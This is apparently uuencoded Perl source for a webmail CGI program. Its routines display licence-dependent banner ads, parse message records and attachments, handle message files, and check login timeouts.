;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
